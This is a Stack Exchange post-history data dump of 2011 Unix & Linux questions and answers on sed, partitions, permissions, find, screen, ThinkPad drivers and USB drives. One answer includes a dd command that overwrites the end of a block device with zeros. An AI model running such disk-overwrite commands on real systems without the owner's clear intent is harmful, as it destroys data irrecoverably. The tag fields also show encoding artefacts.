  <row Id="34612" PostHistoryTypeId="5" PostId="13804" RevisionGUID="13d44e14-e720-422e-8a2f-de541b4dae58" CreationDate="2011-05-26T20:30:33.367" UserId="73" Comment="deleted 17 characters in body" Text="I am writing a rather massive script for a project and one of the issues I am running into before I can complete it is using the sed command.&#xD;&#xA;&#xD;&#xA;I am trying to find a line that has (located in cache.php):&#xD;&#xA;&#xD;&#xA;    $cache_directory = './cache'; &#xD;&#xA;&#xD;&#xA;and replace the information in `'./cache'` with a variable named `$new_cache_directory`.&#xD;&#xA;&#xD;&#xA;One of the problems I am running into is the `./cache` exists multiple times. I only want to replace that one line, but I also don't want to &quot;hard code&quot; the line number to &quot;future proof&quot; it.&#xD;&#xA;&#xD;&#xA;How can I do that?" />
  <row Id="34613" PostHistoryTypeId="2" PostId="13854" RevisionGUID="192b7f26-0625-4a80-9520-2549489a4eb4" CreationDate="2011-05-26T21:05:12.520" UserId="5614" Text="Is most overclocking done strictly at the BIOS level, or is there a way to do it from a running operating system? And if so, is there a way to do it from Linux? I'm running Ubuntu presently and am interested in overclocking to squeeze more speed out of my processor." />
  <row Id="34614" PostHistoryTypeId="1" PostId="13854" RevisionGUID="192b7f26-0625-4a80-9520-2549489a4eb4" CreationDate="2011-05-26T21:05:12.520" UserId="5614" Text="Overclocking software for Linux?" />
  <row Id="34615" PostHistoryTypeId="3" PostId="13854" RevisionGUID="192b7f26-0625-4a80-9520-2549489a4eb4" CreationDate="2011-05-26T21:05:12.520" UserId="5614" Text="écpuà" />
  <row Id="34616" PostHistoryTypeId="25" PostId="13854" RevisionGUID="a8479b5b-60ba-46cf-90dc-c8e2b0685881" CreationDate="2011-05-26T21:13:10.820" Comment="http://twitter.com/#!/StackUnix/status/73859242704121856" />
  <row Id="34617" PostHistoryTypeId="2" PostId="13855" RevisionGUID="e6ff4939-0d2c-46eb-b19b-3a811043c839" CreationDate="2011-05-26T21:16:05.673" UserId="885" Text="The size of every partition is available in `/proc/partitions`. The following command shows the size of `sdx` (in kB units):&#xD;&#xA;&#xD;&#xA;    awk '$4 == &quot;sdx&quot; {print $3}'&#xD;&#xA;&#xD;&#xA;Thus:&#xD;&#xA;&#xD;&#xA;    dd if=/dev/zero of=/dev/sdx bs=1k count=1024 \&#xD;&#xA;       seek=$(($(awk '$4 == &quot;sdx&quot; {print $3}') - 1024))" />
  <row Id="34618" PostHistoryTypeId="6" PostId="13848" RevisionGUID="41da2086-f467-4efd-bcbe-5012a05c53c3" CreationDate="2011-05-26T21:16:32.477" UserId="885" Comment="edited tags" Text="élinuxàépartitionà" />
  <row Id="34619" PostHistoryTypeId="2" PostId="13856" RevisionGUID="85bfc415-6490-42eb-b2d2-9f66f567485a" CreationDate="2011-05-26T21:27:45.973" UserId="885" Text="Suppose you've just started a program outside screen. Suddenly you realize you wanted to do something else in that terminal. `Ctrl+Z`.&#xD;&#xA;&#xD;&#xA;Screen and tmux introduce a layer of isolation between the application and the terminal. This isn't always a good thing. For example, I find their scrollback a lot less convenient than xterm's, so I rarely use screen unless I intend to (be able to) connect to that session remotely.&#xD;&#xA;&#xD;&#xA;If you've set up environment variables, a current directory and other parameters in a shell (which may be in a screen window), carrying those settings over to a new screen window can be a lot of work. It's convenient to be able to run several programs in that terminal.&#xD;&#xA;&#xD;&#xA;Sometimes you want to run a program in the background and have nothing to to with it any more: `nohup program &amp; disown %-`.&#xD;&#xA;&#xD;&#xA;If you have a GUI application that occasionally misbehaves, it can be convenient to start it from a terminal and `fg; Ctrl+C` or `kill %1` it if needed.&#xD;&#xA;&#xD;&#xA;Screen and tmux may not be installed.&#xD;&#xA;" />
  <row Id="34620" PostHistoryTypeId="6" PostId="13844" RevisionGUID="c383e9ef-4f43-4ef5-baf5-7ea52f646765" CreationDate="2011-05-26T21:33:41.343" UserId="885" Comment="edited tags" Text="ébashàéquotingà" />
  <row Id="34621" PostHistoryTypeId="6" PostId="13841" RevisionGUID="b270c85f-9874-42c1-9bb4-468dcc7697be" CreationDate="2011-05-26T21:34:27.987" UserId="885" Comment="edited tags" Text="éviàélargeöfilesà" />
  <row Id="34622" PostHistoryTypeId="6" PostId="13834" RevisionGUID="6f2d5425-8a7a-4b4f-b29d-97d56e95532a" CreationDate="2011-05-26T21:37:14.370" UserId="885" Comment="edited tags" Text="ésoftwareörecàéx11àévideoàéscreenshotà" />
  <row Id="34623" PostHistoryTypeId="6" PostId="13828" RevisionGUID="f83b0a34-be26-4c66-8577-2b5f14990b43" CreationDate="2011-05-26T21:40:10.393" UserId="885" Comment="edited tags" Text="édisköusageà" />
  <row Id="34624" PostHistoryTypeId="2" PostId="13857" RevisionGUID="e39e344f-c318-4820-b2ef-962419caf503" CreationDate="2011-05-26T21:54:57.713" UserId="885" Text="The [inode](http://en.wikipedia.org/wiki/Inode) table (as well as a few very much smaller things) is included in the used space. It looks like you have about 18GB of inodes. That's around 6% of the space, which is in the expected ballpark for ext2/ext3/ext4 (filesystems that don't have an inode table are likely to have larger directory entries if nothing else). You can find the precise size used for inodes by running `tune2fs -l /dev/mapper/VolGroup00-LogVol00`, e.g. here are the relevant lines for one of my 20GB ext3 filesystems:&#xD;&#xA;&#xD;&#xA;    Inode count:              2622368&#xD;&#xA;    Inode size:               128&#xD;&#xA;&#xD;&#xA;That partition has 2622368×128 B ≈ 320 MB of inodes.&#xD;&#xA;&#xD;&#xA;Additional note: the way you've invoked `du`, you'll see spaced used by every file even on remote mounts and other non-directly-disked-backed filesystems. Run `du -x /` to see just what's stored on the root filesystem.&#xD;&#xA;" />
  <row Id="34625" PostHistoryTypeId="5" PostId="13843" RevisionGUID="12d874bb-62cb-4b72-a63e-be3bb8204d70" CreationDate="2011-05-26T22:31:58.573" UserId="6960" Comment="deleted 1966 characters in body; edited tags; edited title" Text="I want to download OpenBSD with FTP with a script, and I want to download it from a server that is near me. So I want to choose a mirror that has low &quot;ping latency&quot;. I wrote a little script, that works just fine (only tested under bash/Linux): &#xD;&#xA;&#xD;&#xA;	LATESTRELVER=`curl -s 'www.openbsd.org' | fgrep 'The current release is ' | sed 's/OpenBSD /\n/' | sed 's/&lt;\/a&gt;/\n/' | grep &quot;^[0-9]&quot; | head -1`&#xD;&#xA;	FASTESTSRV=`curl -s &quot;http://www.openbsd.org/ftp.html#ftp&quot; | fgrep '&lt;a href=&quot;ftp://' | sed 's/&quot;ftp:\/\//\n/' | cut -d &quot;/&quot; -f1 | fgrep -v '&lt;a href=' | while read MIRRORSRVS; do ping -c 1 -w 1 $MIRRORSRVS 2&gt;/dev/null | fgrep ' time=' | sed 's/ time=/\n/' | grep ' ms' | sed 's/ ms$/ /' | sed 's/\./ |/' | cut -d &quot;|&quot; -f1 | tr -d '\n'; if [ $? -eq 0 ]; then echo &quot;$MIRRORSRVS&quot;; fi; done | grep &quot;^[0-9]&quot; | sort -un | head -1 | awk '{print $2}'`&#xD;&#xA;	LATESTRELVERSHORT=`echo $LATESTRELVER | sed 's/\.//g'`&#xD;&#xA;&#xD;&#xA;	# NEEDEDARCH=i386&#xD;&#xA;	NEEDEDARCH=amd64&#xD;&#xA;&#xD;&#xA;	wget &quot;$FASTESTSRV/pub/OpenBSD/$LATESTRELVER/$NEEDEDARCH/install$LATESTRELVERSHORT.iso&quot; -O &quot;install$LATESTRELVERSHORT-$NEEDEDARCH.iso&quot;&#xD;&#xA;&#xD;&#xA;Q: can someone write this script in Perl? :P (with a smaller, nicer code?)" />
  <row Id="34626" PostHistoryTypeId="4" PostId="13843" RevisionGUID="12d874bb-62cb-4b72-a63e-be3bb8204d70" CreationDate="2011-05-26T22:31:58.573" UserId="6960" Comment="deleted 1966 characters in body; edited tags; edited title" Text="Find server with small latency (my script, but can anyone write it in e.g.: Perl?)" />
  <row Id="34627" PostHistoryTypeId="6" PostId="13843" RevisionGUID="12d874bb-62cb-4b72-a63e-be3bb8204d70" CreationDate="2011-05-26T22:31:58.573" UserId="6960" Comment="deleted 1966 characters in body; edited tags; edited title" Text="élinuxàéopenbsdàéperlà" />
  <row Id="34628" PostHistoryTypeId="2" PostId="13858" RevisionGUID="d5b0804b-9991-4bcf-bddb-674bb1900aa8" CreationDate="2011-05-26T22:52:46.597" UserId="7813" Text="If I have a root folder with some restrictive permission, let's say 600, and if the child folders/files have 777 permission will everybody be able to read/write/execute the child file even though the root folder has 600?" />
  <row Id="34629" PostHistoryTypeId="1" PostId="13858" RevisionGUID="d5b0804b-9991-4bcf-bddb-674bb1900aa8" CreationDate="2011-05-26T22:52:46.597" UserId="7813" Text="simple root directory and child permission question" />
  <row Id="34630" PostHistoryTypeId="3" PostId="13858" RevisionGUID="d5b0804b-9991-4bcf-bddb-674bb1900aa8" CreationDate="2011-05-26T22:52:46.597" UserId="7813" Text="épermissionsà" />
  <row Id="34631" PostHistoryTypeId="5" PostId="13843" RevisionGUID="a8ac3f85-d729-4e71-b3f1-05f5181cf5b9" CreationDate="2011-05-26T22:52:56.443" UserId="6960" Comment="added 81 characters in body; edited title" Text="I want to download OpenBSD with FTP with a script, and I want to download it from a server that is near me. So I want to choose a mirror that has low &quot;ping latency&quot;. I wrote a little script, that works just fine (only tested under bash/Linux): &#xD;&#xA;&#xD;&#xA;	LATESTRELVER=`curl -s 'www.openbsd.org' | fgrep 'The current release is ' | sed 's/OpenBSD /\n/' | sed 's/&lt;\/a&gt;/\n/' | grep &quot;^[0-9]&quot; | head -1`&#xD;&#xA;	FASTESTSRV=`curl -s &quot;http://www.openbsd.org/ftp.html#ftp&quot; | fgrep '&lt;a href=&quot;ftp://' | sed 's/&quot;ftp:\/\//\n/' | cut -d &quot;/&quot; -f1 | fgrep -v '&lt;a href=' | while read MIRRORSRVS; do ping -c 1 -w 1 $MIRRORSRVS 2&gt;/dev/null | fgrep ' time=' | sed 's/ time=/\n/' | grep ' ms' | sed 's/ ms$/ /' | sed 's/\./ |/' | cut -d &quot;|&quot; -f1 | tr -d '\n'; if [ $? -eq 0 ]; then echo &quot;$MIRRORSRVS&quot;; fi; done | grep &quot;^[0-9]&quot; | sort -un | head -1 | awk '{print $2}'`&#xD;&#xA;	LATESTRELVERSHORT=`echo $LATESTRELVER | sed 's/\.//g'`&#xD;&#xA;&#xD;&#xA;	# NEEDEDARCH=i386&#xD;&#xA;	NEEDEDARCH=amd64&#xD;&#xA;&#xD;&#xA;	wget &quot;$FASTESTSRV/pub/OpenBSD/$LATESTRELVER/$NEEDEDARCH/install$LATESTRELVERSHORT.iso&quot; -O &quot;install$LATESTRELVERSHORT-$NEEDEDARCH.iso&quot;&#xD;&#xA;&#xD;&#xA;Q: can someone write this script in Perl? :P (with a smaller, nicer code?)&#xD;&#xA;&#xD;&#xA;The main purpose of this script to e.g.: not use foreign country's bandwidth." />
  <row Id="34632" PostHistoryTypeId="4" PostId="13843" RevisionGUID="a8ac3f85-d729-4e71-b3f1-05f5181cf5b9" CreationDate="2011-05-26T22:52:56.443" UserId="6960" Comment="added 81 characters in body; edited title" Text="Find server with small ping latency (my script, but can anyone write it in e.g.: Perl?)" />
  <row Id="34633" PostHistoryTypeId="2" PostId="13859" RevisionGUID="900b1a2f-f71b-4cea-be96-b9f0e90057ba" CreationDate="2011-05-26T22:54:03.880" UserId="6973" Text="I'm wondering if the `ed` editor is useful any longer for interactive editing. I know that the diff command can produce patches as ed scripts and that ed is a last resort when the baud rate is super slow. But are there any other reasons to learn and use `ed`?" />
  <row Id="34634" PostHistoryTypeId="1" PostId="13859" RevisionGUID="900b1a2f-f71b-4cea-be96-b9f0e90057ba" CreationDate="2011-05-26T22:54:03.880" UserId="6973" Text="Is the `ed` editor useful for any purpose besides emergencies and batch editing?" />
  <row Id="34635" PostHistoryTypeId="3" PostId="13859" RevisionGUID="900b1a2f-f71b-4cea-be96-b9f0e90057ba" CreationDate="2011-05-26T22:54:03.880" UserId="6973" Text="éeditorsà" />
  <row Id="34636" PostHistoryTypeId="5" PostId="13816" RevisionGUID="71151e24-3f8e-4053-a5c6-04ce21b61394" CreationDate="2011-05-26T22:55:43.557" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What process created this X11 window?](http://unix.stackexchange.com/questions/5478/what-process-created-this-x11-window)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Recently I've been bugged by a mysterious invisible window in X on my Ubuntu machine.&#xD;&#xA;It takes the form of an always-top-most window with absolutely nothing showing; no window border, no content, no nothing. That means that entire area of the screen is now unusable with any pointer, since the window captures all events in it's context - I can't even click on the desktop in that area !&#xD;&#xA;&#xD;&#xA;As you might have guess this is rather annoying, and I want to get rid of it permanently.&#xD;&#xA;However, running `xwininfo` on it gives the following:&#xD;&#xA;&#xD;&#xA;    xwininfo: Window id: 0x1601b9f (has no name)&#xD;&#xA;    [...]&#xD;&#xA;    Map State: IsViewable&#xD;&#xA;    Override Redirect State: yes&#xD;&#xA;    Corners:  +395+315  -383+315  -383-263  +395-263&#xD;&#xA;    -geometry 502x222+395+315&#xD;&#xA;&#xD;&#xA;So, I've got an ID, but no name. This fortunately means I can kill it with `xkill`, but unfortunately means I have no idea what created it.&#xD;&#xA;&#xD;&#xA;So what I'm looking for is some advice or help finding a way to identify the root and cause of this window.&#xD;&#xA;&#xD;&#xA;Any suggestions ?" />
  <row Id="34637" PostHistoryTypeId="10" PostId="13816" RevisionGUID="ae2b7c26-ee41-4cec-9ab0-7a2b6222a051" CreationDate="2011-05-26T22:55:43.387" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="34638" PostHistoryTypeId="5" PostId="11517" RevisionGUID="795ad2ad-4256-448e-95d1-aff827a34be8" CreationDate="2011-05-26T22:56:25.057" UserId="73" Comment="added 1 characters in body" Text="I was able to use the `xdotool` under Ubuntu 11.04 beta, but `selectwindow` was not a valid command, I had to hack a script with:&#xD;&#xA;&#xD;&#xA;    $ while true; do sleep 1; xdotool getactivewindow; done&#xD;&#xA;&#xD;&#xA;then watch the window ID go by while I selected the window I wanted, then decoded the responsible PID with:&#xD;&#xA;&#xD;&#xA;    $ xdotool getwindowpid &lt;the-window-id&gt;&#xD;&#xA;" />
  <row Id="34639" PostHistoryTypeId="2" PostId="13860" RevisionGUID="b0fe9079-ab39-4e86-b55d-f7d884fd17d8" CreationDate="2011-05-26T23:04:25.677" UserId="7814" Text="Is there an idiomatic means to detect whether &quot;find&quot; found any matches? I'm currently using&#xD;&#xA;&#xD;&#xA;    COUNT=`find ... | wc -l`&#xD;&#xA;    if [ &quot;$COUNT&quot; -gt 0 ]; then&#xD;&#xA;&#xD;&#xA;but this seems a little indirect to me. Also, I'd like find to stop searching once it's found a match, so it doesn't waste time and effort. I just need to know whether or not there are any files that match.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34640" PostHistoryTypeId="1" PostId="13860" RevisionGUID="b0fe9079-ab39-4e86-b55d-f7d884fd17d8" CreationDate="2011-05-26T23:04:25.677" UserId="7814" Text="How to detect whether &quot;find&quot; found any matches?" />
  <row Id="34641" PostHistoryTypeId="3" PostId="13860" RevisionGUID="b0fe9079-ab39-4e86-b55d-f7d884fd17d8" CreationDate="2011-05-26T23:04:25.677" UserId="7814" Text="éfindà" />
  <row Id="34642" PostHistoryTypeId="2" PostId="13861" RevisionGUID="106c210a-e913-4875-9368-41c32ab3f92d" CreationDate="2011-05-26T23:47:47.060" UserId="1389" Text="I used OCR to turn some scans into plaintext, but unfortunately the letters 'fi' which are commonly joined in some fonts, got read in as capital W's. Now I need to replace all the W's with 'fi', and these can easily be distinguished by the fact that a capital W does not ever occur in the middle of a word in true English. So, I need a sed one-liner that replaces all word-medial capital W's with the letters fi." />
  <row Id="34643" PostHistoryTypeId="1" PostId="13861" RevisionGUID="106c210a-e913-4875-9368-41c32ab3f92d" CreationDate="2011-05-26T23:47:47.060" UserId="1389" Text="sed one-liner to replace word-medial capitals" />
  <row Id="34644" PostHistoryTypeId="3" PostId="13861" RevisionGUID="106c210a-e913-4875-9368-41c32ab3f92d" CreationDate="2011-05-26T23:47:47.060" UserId="1389" Text="ésedàéocrà" />
  <row Id="34645" PostHistoryTypeId="2" PostId="13862" RevisionGUID="32533d2d-8dac-46ff-b309-0230ba0b8656" CreationDate="2011-05-26T23:58:37.020" UserId="2421" Text="You can use the `-quit` action to stop after the first match.  You'll probably want to combine that with another action (like `-print`) or you won't be able to tell whether it found anything.&#xD;&#xA;&#xD;&#xA;For example, `find ... -print -quit` will print the path of the first matching file and then exit.  Or, you could use `-printf 1 -quit` to print 1 if there's a match and nothing if there isn't.&#xD;&#xA;&#xD;&#xA;`find`'s exit status reflects whether there were errors while searching, and not whether it found anything, so you have to check its output to see if there's a match." />
  <row Id="34646" PostHistoryTypeId="25" PostId="13848" RevisionGUID="0498e021-8a75-43e2-8ec4-6c6a74b24a5e" CreationDate="2011-05-27T00:13:11.293" Comment="http://twitter.com/#!/StackUnix/status/73904544488230912" />
  <row Id="34648" PostHistoryTypeId="2" PostId="13863" RevisionGUID="5b89457f-e374-4a78-af2a-2e6fc35dfb49" CreationDate="2011-05-27T01:33:31.520" UserId="7805" Text="No. Root folder permission limits child files permission. You can try it." />
  <row Id="34649" PostHistoryTypeId="2" PostId="13864" RevisionGUID="ca1444af-6267-4fb9-a4ce-753e57872a0c" CreationDate="2011-05-27T01:33:52.427" UserId="41" Text="A quick and simple answer that should solve most cases is:&#xD;&#xA;&#xD;&#xA;    sed &quot;s/\([^ ]\)W\([^ ]\)/\1fi\2/&quot;&#xD;&#xA;&#xD;&#xA;This will replace any `W` that is does not have a space in front of it with `fi`. It catches the error in these simple test casts:&#xD;&#xA;&#xD;&#xA;    $ echo &quot;blah blah blah trafWc&quot; | sed &quot;s/\([^ ]\)W\([^ ]\)/\1fi\2/&quot;&#xD;&#xA;    blah blah blah traffic&#xD;&#xA;&#xD;&#xA;    $ echo &quot;blah blah blah Wallaby&quot; | sed &quot;s/\([^ ]\)W\([^ ]\)/\1fi\2/&quot;&#xD;&#xA;    blah blah blah Wallaby&#xD;&#xA;&#xD;&#xA;However, it won't capture things such as:&#xD;&#xA;&#xD;&#xA;    $ echo &quot;blah blah blah Wnger&quot; | sed &quot;s/\([^ ]\)W\([^ ]\)/\1fi\2/&quot;&#xD;&#xA;    blah blah blah Wnger&#xD;&#xA;&#xD;&#xA;As you can see this should have changed to *finger*. So unfortunately you'll still need to check for those." />
  <row Id="34650" PostHistoryTypeId="5" PostId="13863" RevisionGUID="49366dec-7a69-4b16-aea0-c545cfe3d6bd" CreationDate="2011-05-27T01:38:55.857" UserId="7805" Comment="added 184 characters in body; added 10 characters in body" Text="No. Root folder permission limits child files permission. You can try it.&#xD;&#xA;&#xD;&#xA;mkdir rootdir&#xD;&#xA;&#xD;&#xA;touch ./rootdir/childfile&#xD;&#xA;&#xD;&#xA;chmod 777 ./rootdir/childfile&#xD;&#xA;&#xD;&#xA;chmod 600 rootdir&#xD;&#xA;&#xD;&#xA;cat ./rootdir/childfile&#xD;&#xA;&#xD;&#xA;I get this:&#xD;&#xA;&#xD;&#xA;cat: ./rootfolder/childfile: permission denied&#xD;&#xA;" />
  <row Id="34651" PostHistoryTypeId="5" PostId="13864" RevisionGUID="c2a0c3d8-6d6c-4ddf-aa13-67b5b1b476ad" CreationDate="2011-05-27T02:14:01.283" UserId="41" Comment="Corrected spelling again" Text="A quick and simple answer that should solve most cases is:&#xD;&#xA;&#xD;&#xA;    sed &quot;s/\([^ ]\)W\([^ ]\)/\1fi\2/&quot;&#xD;&#xA;&#xD;&#xA;This will replace any `W` that is does not have a space before or after it with `fi`. It catches the error in these simple test cases:&#xD;&#xA;&#xD;&#xA;    $ echo &quot;blah blah blah trafWc&quot; | sed &quot;s/\([^ ]\)W\([^ ]\)/\1fi\2/&quot;&#xD;&#xA;    blah blah blah traffic&#xD;&#xA;&#xD;&#xA;    $ echo &quot;blah blah blah Wallaby&quot; | sed &quot;s/\([^ ]\)W\([^ ]\)/\1fi\2/&quot;&#xD;&#xA;    blah blah blah Wallaby&#xD;&#xA;&#xD;&#xA;However, it won't capture things such as:&#xD;&#xA;&#xD;&#xA;    $ echo &quot;blah blah blah Wnger&quot; | sed &quot;s/\([^ ]\)W\([^ ]\)/\1fi\2/&quot;&#xD;&#xA;    blah blah blah Wnger&#xD;&#xA;&#xD;&#xA;As you can see this should have changed to *finger*. So unfortunately you'll still need to check for those." />
  <row Id="34652" PostHistoryTypeId="5" PostId="12496" RevisionGUID="f7fd42e0-2e2b-4b51-ac18-5813f39f33d6" CreationDate="2011-05-27T02:58:19.750" UserId="6767" Comment="add tp_smapi to /etc/modules so it will load automatically on boot" Text="I was able to make this work by editing the source code of `thinkpad_ec.c`.&#xD;&#xA;&#xD;&#xA;The code expects that when you run `dmidecode -t 11` your output should mention &quot;IBM ThinkPad Embedded Controller&quot;.  However, the new Thinkpad X120e has a good embedded controller which is not mentioned under `dmidecode -t 11`.  As a result, the code failed with the error &quot;thinkpad_ec: no ThinkPad embedded controller!&quot;.&#xD;&#xA;&#xD;&#xA;To sidestep this check, I added ThinkPad X120e to the current list of whitelisted ThinkPad models in `thinkpad_ec.c`, then rebuilt the module.  It loaded successfully and I was able to set my battery's stop-charge-threshold in /sys/devices/platform/smapi/BAT0 as advertised.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**If you are a Thinkpad X120e user and want to use tp_smapi module now**, here's how I got past the module load failure:&#xD;&#xA;&#xD;&#xA;    $ sudo su&#xD;&#xA;    # apt-get install tp-smapi-dkms&#xD;&#xA;    ...(works)...&#xD;&#xA;    # modprobe -v tp_smapi&#xD;&#xA;    WARNING: Error inserting thinkpad_ec (/lib/modules/2.6.38-7-generic/updates/dkms/thinkpad_ec.ko): No such device&#xD;&#xA;    FATAL: Error inserting tp_smapi (/lib/modules/2.6.38-7-generic/updates/dkms/tp_smapi.ko): No such device&#xD;&#xA;    # tail -1 /var/log/syslog&#xD;&#xA;    Apr 19 23:45:05 xilotl kernel: [ 5552.149408] thinkpad_ec: no ThinkPad embedded controller!&#xD;&#xA;&#xD;&#xA;edit the crucial file using `vi /usr/src/tp-smapi-0.40/thinkpad_ec.c` to add the line marked with +:&#xD;&#xA;&#xD;&#xA;    diff --git a/thinkpad_ec.c b/thinkpad_ec.c&#xD;&#xA;    index a924d18..90d117e 100644&#xD;&#xA;    --- a/thinkpad_ec.c&#xD;&#xA;    +++ b/thinkpad_ec.c&#xD;&#xA;    @@ -460,6 +460,7 @@ static int __init check_dmi_for_ec(void)&#xD;&#xA;                    TP_DMI_MATCH(&quot;IBM&quot;, &quot;ThinkPad A30&quot;),&#xD;&#xA;                    TP_DMI_MATCH(&quot;IBM&quot;, &quot;ThinkPad T23&quot;),&#xD;&#xA;                    TP_DMI_MATCH(&quot;IBM&quot;, &quot;ThinkPad X24&quot;),&#xD;&#xA;    +               TP_DMI_MATCH(&quot;LENOVO&quot;, &quot;ThinkPad X120e&quot;),&#xD;&#xA;                    { .ident = NULL }&#xD;&#xA;            };&#xD;&#xA;            return dmi_find_substring(DMI_DEV_TYPE_OEM_STRING,&#xD;&#xA;&#xD;&#xA;rebuild the module:&#xD;&#xA;&#xD;&#xA;    # dkms remove -m tp-smapi -v 0.40 --all&#xD;&#xA;    # dkms add -m tp-smapi -v 0.40&#xD;&#xA;    # dkms build -m tp-smapi -v 0.40&#xD;&#xA;    # dkms install -m tp-smapi -v 0.40&#xD;&#xA;    # modprobe tp-smapi&#xD;&#xA;&#xD;&#xA;and finally try using it:&#xD;&#xA;&#xD;&#xA;    # cd /sys/devices/platform/smapi/BAT0&#xD;&#xA;    # echo 60 &gt; stop_charge_thresh&#xD;&#xA;&#xD;&#xA;As hwong557 mentions, add `tp_smapi` to `/etc/modules` so it will load automatically on boot.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**If you are the `tp_smapi` module maintainer** or other knowledgeable person who can get this fixed &quot;right&quot;:  Is this the &quot;right&quot; fix?  Should Thinkpad X120e be permanently added to this whitelist, or is there another way that it should check for existence of the embedded controller?  I hope either this change or some other fix for the problem will be added to the upstream source.&#xD;&#xA;" />
  <row Id="34653" PostHistoryTypeId="5" PostId="11670" RevisionGUID="ad9a8941-03af-4078-ac2d-0ac790d07309" CreationDate="2011-05-27T03:00:48.737" UserId="6767" Comment="dmidecode -t0 -t1 -t11" Text="My brand new Thinkpad X120e is working well with Ubuntu Natty.  Now I want to get the &lt;a href=&quot;http://www.thinkwiki.org/wiki/Tp_smapi&quot;&gt;tp_smapi module&lt;/a&gt; to work so I can control battery charge behavior.  Unfortunately I get &quot;no Thinkpad embedded controller&quot; (below).&#xD;&#xA;&#xD;&#xA;The thinkwiki tp_smapi page says in this case &quot;you should &lt;a href=&quot;http://www.thinkwiki.org/wiki/BIOS_Upgrade&quot;&gt;upgrade your BIOS&lt;/a&gt;.  Some early BIOS (like 1.x on the X31) don't handle the embedded controller&quot;.  But in my case, dmidecode suggests I'm already using the almost-newest &lt;a href=&quot;http://www-307.ibm.com/pc/support/site.wss/document.do?lndocid=MIGR-74392&quot;&gt;BIOS from IBM&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;    # apt-get install tp-smapi-dkms&#xD;&#xA;    ...(works)...&#xD;&#xA;    # modprobe -v tp_smapi&#xD;&#xA;    WARNING: Error inserting thinkpad_ec (/lib/modules/2.6.38-7-generic/updates/dkms/thinkpad_ec.ko): No such device&#xD;&#xA;    FATAL: Error inserting tp_smapi (/lib/modules/2.6.38-7-generic/updates/dkms/tp_smapi.ko): No such device&#xD;&#xA;    # tail -1 /var/log/syslog&#xD;&#xA;    Apr 19 23:45:05 xilotl kernel: [ 5552.149408] thinkpad_ec: no ThinkPad embedded controller!&#xD;&#xA;    # dmidecode -s bios-version&#xD;&#xA;    8FET26WW (1.10 )&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any other idea how to make this work?&#xD;&#xA;&#xD;&#xA;UPDATE: Here are other relevant portions of `dmidecode` (that is, `dmidecode -t0 -t1 -t11`):&#xD;&#xA;&#xD;&#xA;    Handle 0x0000, DMI type 0, 24 bytes&#xD;&#xA;    BIOS Information&#xD;&#xA;        Vendor: LENOVO&#xD;&#xA;        Version: 8FET26WW (1.10 )&#xD;&#xA;        Release Date: 03/09/2011&#xD;&#xA;        ...&#xD;&#xA;&#xD;&#xA;    Handle 0x0001, DMI type 1, 27 bytes&#xD;&#xA;    System Information&#xD;&#xA;        Manufacturer: LENOVO&#xD;&#xA;        Product Name: 0596CTO&#xD;&#xA;        Version: ThinkPad X120e&#xD;&#xA;        ...&#xD;&#xA;&#xD;&#xA;    Handle 0x0027, DMI type 11, 5 bytes&#xD;&#xA;    OEM Strings&#xD;&#xA;        String 1: OEM default string&#xD;&#xA;" />
  <row Id="34654" PostHistoryTypeId="2" PostId="13865" RevisionGUID="6c43f647-3f0c-42a7-a3e7-ac82affaf729" CreationDate="2011-05-27T03:02:16.720" UserId="7820" Text="Hi,&#xD;&#xA;I just bought a WD 1TB Caviar Blue drive, and a Bytecc HD-35SU enclosure for it.  Snapped the drive in, went to plug it in on my laptop, nothing happens.  I figured that probably meant I needed to format it, so I tried to use fdisk.  The new drive isn't listed.  So I looked at dmesg, and I see this:&#xD;&#xA;&#xD;&#xA;    [  119.764054] usb 1-1: new high speed USB device using ehci_hcd and address 4&#xD;&#xA;    [  120.265826] Initializing USB Mass Storage driver...&#xD;&#xA;    [  120.265933] usb-storage 1-1:1.0: Quirks match for vid 152d pid 2329: 8020&#xD;&#xA;    [  120.265958] scsi6 : usb-storage 1-1:1.0&#xD;&#xA;    [  120.266153] usbcore: registered new interface driver usb-storage&#xD;&#xA;    [  120.266156] USB Mass Storage support registered.&#xD;&#xA;    [  121.306221] scsi 6:0:0:0: Direct-Access                                    PQ: 0 ANSI: 2 CCS&#xD;&#xA;    [  121.307330] sd 6:0:0:0: Attached scsi generic sg3 type 0&#xD;&#xA;    [  121.390676] sd 6:0:0:0: [sdc] Very big device. Trying to use READ CAPACITY(16).&#xD;&#xA;    [  121.391151] sd 6:0:0:0: [sdc] 72057594037927936 512-byte logical blocks: (0 B/0 B)&#xD;&#xA;    [  121.391896] sd 6:0:0:0: [sdc] Write Protect is off&#xD;&#xA;    [  121.391901] sd 6:0:0:0: [sdc] Mode Sense: 28 00 00 00&#xD;&#xA;    [  121.391907] sd 6:0:0:0: [sdc] Assuming drive cache: write through&#xD;&#xA;    [  121.393159] sd 6:0:0:0: [sdc] Very big device. Trying to use READ CAPACITY(16).&#xD;&#xA;    [  121.394280] sd 6:0:0:0: [sdc] Assuming drive cache: write through&#xD;&#xA;    [  121.394290]  sdc: unknown partition table&#xD;&#xA;    [  121.395383] sd 6:0:0:0: [sdc] Very big device. Trying to use READ CAPACITY(16).&#xD;&#xA;    [  121.396508] sd 6:0:0:0: [sdc] Assuming drive cache: write through&#xD;&#xA;    [  121.396513] sd 6:0:0:0: [sdc] Attached SCSI disk&#xD;&#xA;&#xD;&#xA;I don't particularly know what that all means, but what concerns me is this line:&#xD;&#xA;&#xD;&#xA;    [  121.391151] sd 6:0:0:0: [sdc] 72057594037927936 512-byte logical blocks: (0 B/0 B)&#xD;&#xA;&#xD;&#xA;That doesn't even make sense, right?  Could it be because it is unformatted and had no partition table?  However, I can't use fdisk to do any of that, because it says that it cannot read /dev/sdc...&#xD;&#xA;&#xD;&#xA;Is my brand-new drive fried?" />
  <row Id="34655" PostHistoryTypeId="1" PostId="13865" RevisionGUID="6c43f647-3f0c-42a7-a3e7-ac82affaf729" CreationDate="2011-05-27T03:02:16.720" UserId="7820" Text="Can't access usb hd" />
